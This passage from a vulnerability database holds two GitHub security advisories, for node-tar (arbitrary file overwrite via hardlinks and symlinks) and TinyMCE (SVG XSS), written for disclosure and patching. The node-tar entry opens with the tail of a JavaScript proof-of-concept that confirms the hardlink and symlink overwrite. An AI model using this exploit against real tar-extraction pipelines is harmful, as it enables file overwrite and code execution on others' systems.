\u0027utf8\u0027) === \u0027OVERWRITTEN\u0027) {\n console.log(\u0027[+] VULN CONFIRMED: Hardlink overwrite successful\u0027)\n } else {\n console.log(\u0027[-] Hardlink failed\u0027)\n }\n } catch (e) {}\n\n // Test Symlink Poisoning\n try {\n if (fs.readlinkSync(path.join(out, \u0027exploit_sym\u0027)) === targetSym) {\n console.log(\u0027[+] VULN CONFIRMED: Symlink points to absolute path\u0027)\n } else {\n console.log(\u0027[-] Symlink failed\u0027)\n }\n } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)",
"id": "GHSA-8qq5-rm4j-mr97",
"modified": "2026-02-18T23:43:46Z",
"published": "2026-01-16T21:16:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization"
}
GHSA-5359-PVF2-PW78
Vulnerability from github – Published: 2024-03-26 21:23 – Updated: 2024-03-26 21:23Impact
A cross-site scripting (XSS) vulnerability was discovered in TinyMCE’s content loading and content inserting code. A SVG image could be loaded though an object or embed element and that image could potentially contain a XSS payload.
Fix
TinyMCE 6.8.1 introduced a new convert_unsafe_embeds option to automatically convert object and embed elements respective of their type attribute. From TinyMCE 7.0.0 onwards, the convert_unsafe_embeds option is enabled by default.
Workarounds
If you are using TinyMCE 6.8.1 or higher, set convert_unsafe_embeds to true. For any earlier versions, a custom NodeFilter is recommended to remove or modify any object or embed elements. This can be added using the editor.parser.addNodeFilter and editor.serializer.addNodeFilter APIs.
Acknowledgements
Tiny Technologies would like to thank Toni Huttunen of Fraktal Oy for discovering this vulnerability.
References
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29881"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-26T21:23:45Z",
"nvd_published_at": "2024-03-26T14:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nA [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability was discovered in TinyMCE\u2019s content loading and content inserting code. A SVG image could be loaded though an `object` or `embed` element and that image could potentially contain a XSS payload.\n\n### Fix\nTinyMCE 6.8.1 introduced a new `convert_unsafe_embeds` option to automatically convert `object` and `embed` elements respective of their `type` attribute. From TinyMCE 7.0.0 onwards, the `convert_unsafe_embeds` option is enabled by default.\n\n### Workarounds\nIf you are using TinyMCE 6.8.1 or higher, set `convert_unsafe_embeds` to true. For any earlier versions, a custom NodeFilter is recommended to remove or modify any `object` or `embed` elements. This can be added using the `editor.parser.addNodeFilter` and `editor.serializer.addNodeFilter` APIs.\n\n### Acknowledgements\nTiny Technologies would like to thank Toni Huttunen of [Fraktal Oy](https://www.fraktal.fi/) for discovering this vulnerability.\n\n### References\n- [TinyMCE 6.8.1](https://www.tiny.cloud/docs/tinymce/6/6.8.1-release-notes/#new-convert_unsafe_embeds-option-that-controls-whether-object-and-embed-elements-will-be-converted-to-more-restrictive-alternatives-namely-img-for-image-mime-types-video-for-video-mime-types-audio-audio-mime-types-or-iframe-for-other-or-unspecified-mime-types)\n- [TinyMCE 7.0.0](https://www.tiny.cloud/docs/tinymce/7/7.0-release-notes/#convert_unsafe_embeds-editor-option-is-now-defaulted-to-true)\n\n",
"id": "GHSA-5359-pvf2-pw78",
"modified": "2024-03-26T21:23:45Z",
"published": "2024-03-26T21:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-5359-pvf2-pw78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29881"
},
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/commit/bcdea2ad14e3c2cea40743fb48c63bba067ae6d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinymce/tinymce"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/6/6.8.1-release-notes/#new-convert_unsafe_embeds-option-that-controls-whether-object-and-embed-elements-will-be-converted-to-more-restrictive-alternatives-namely-img-for-image-mime-types-video-for-video-mime-types-audio-audio-mime-types-or-iframe-for-other-or-unspecified-mime-types"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/7/7.0-release-notes/#convert_unsafe_embeds-editor-option-is-now-defaulted-to-true"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinyMCE Cross-Site Scripting (XSS) vulnerability in handling external SVG files through Object or Embed elements"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.